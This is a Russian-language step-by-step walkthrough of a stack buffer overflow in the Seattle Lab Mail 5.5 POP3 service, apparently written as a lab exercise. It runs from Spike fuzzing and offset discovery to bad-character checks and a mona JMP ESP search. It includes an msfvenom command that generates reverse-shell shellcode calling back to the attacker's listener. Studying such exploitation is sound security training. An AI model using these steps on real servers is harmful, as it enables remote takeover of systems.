
Переполнение буфера в Seattle Lab Mail (SLmail) 5.5 - POP3
Переполнение буфера в Seattle Lab Mail (SLmail) 5.5 - POP3
Простое STEP-by-STEP переполнение буфера на основе STACK
На самом первом шаге мы будем фаззить приложение с помощью простого Spike-скрипта
Тем временем SLmail будет прикреплен [и запущен] к Immunity Debugger
Подробнее о Spike: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
Здесь представлен простой Spike-скрипт с именем spike_fuzz.spk
Запустим его против приложения с помощью команды
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
где 192.168.1.117 — IP-адрес целевой машины, на которой работает SLMail, и он работает на порту 110

Тем временем, если мы посмотрим на Immunity, то увидим, что приложение упало

Теперь мы создадим Python POC, который воспроизводит крах и вычисляет байты, на которых происходит сбой приложения
python poc_crash.py

Для поиска смещения мы воспользуемся msf
1. Сначала сгенерируем шаблон
2. Запомним EIP
3. Запросим этот EIP и длину с помощью MSF, чтобы найти смещение
msf-pattern_create -l 2700

В poc_offset.py мы будем использовать этот шаблон в качестве нашего буфера переполнения!
python poc_offset.py

На этом этапе мы также запоминаем значение EIP в Immunity, где приложение упало и остановилось

EIP — 39694438
::Для поиска смещения::
msf-pattern_offset -l 2700 -q 39694438

смещение равно 2606, то есть 2606 байт до достижения EIP::: сам EIP имеет длину 4 байта
Теперь мы попытаемся перезаписать EIP четырьмя буквами 'B' — то есть в Immunity должно отобразиться 42424242 {Hex для четырех 'B'}
python poc_eip_control.py

А теперь проверим Immunity

Чтобы сохранить простоту и краткость
Вы можете запустить скрипт poc_badchars.py и самостоятельно найти плохие символы
Для краткости
Это приложение имеет два плохих символа {которые также являются стандартными}. При первом запуске poc_badchars.py мы увидим, что символ \x0a вызывает проблемы, затем мы удалим его из полезной нагрузки плохих символов и запустим скрипт снова. Во второй раз мы увидим, что символ \x0d пропущен — это наш второй плохой символ, и мы удаляем его из полезной нагрузки. После этого при третьем запуске скрипта всё чисто и хорошо!
плохие символы: \x00\x0a\x0d
{нулевой байт, перевод строки, возврат каретки}
python poc_badchars.py
Сначала мы найдем правильный модуль с помощью Mona Modules в Immunity
slmfc.dll — наиболее подходящий кандидат, так как на нем нет средств защиты памяти!

Теперь найдем адрес JMP ESP в этой DLL
Этот адрес будет записан в EIP, чтобы перенаправить выполнение программы на ESP, что приведет к выполнению нашего шелл-кода!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 — опкод, эквивалентный JMP ESP}

Из 19 адресов указателей мы выбираем первый
Теперь объединим всё это и получим оболочку
1.) Сгенерируем шелл-код {исключая плохие символы}
2.) Добавим найденный адрес {помните про Little Endian}
3.) Добавим буфер, обратный адрес, несколько NOP-слейдов, шелл-код
4.) Получим оболочку
Быстро сгенерируем шелл-код с помощью msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<listening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Объединим всё в файле exploit.py

Теперь запустим SLmail без Immunity и одновременно прослушиваем входящие соединения
После этого запустим финальный скрипт exploit.py!

ОТЛИЧНО, МЫ ПОЛУЧИЛИ ОБОЛОЧКУ!